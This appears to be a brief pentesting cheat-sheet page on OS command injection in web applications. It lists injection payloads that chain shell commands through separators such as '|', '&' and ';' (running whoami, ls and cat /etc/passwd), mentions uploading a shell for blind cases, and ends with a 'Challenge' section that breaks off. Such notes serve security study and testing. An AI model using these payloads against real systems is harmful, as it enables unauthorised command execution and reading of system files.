Web App - Command Injection

➡️ OS Command Injection, or shell injection, occurs when a vulnerable application passes unvalidated user input to the system shell, allowing attackers to execute arbitrary OS commands on the server hosting the web app.


Command Injection - Basics

| whoami #
& whoami& asd
; whoami; asd
# Result: www-data

; cat /etc/passwd; asd
& ls -lah& asd
# Check result in Source Code for better reading

Command Injection - Blind/Out-of-band

  • Upload a shell and trigger it


Command Injection - Challenge

  • The app executes this

Command injection

Last updated

Was this helpful?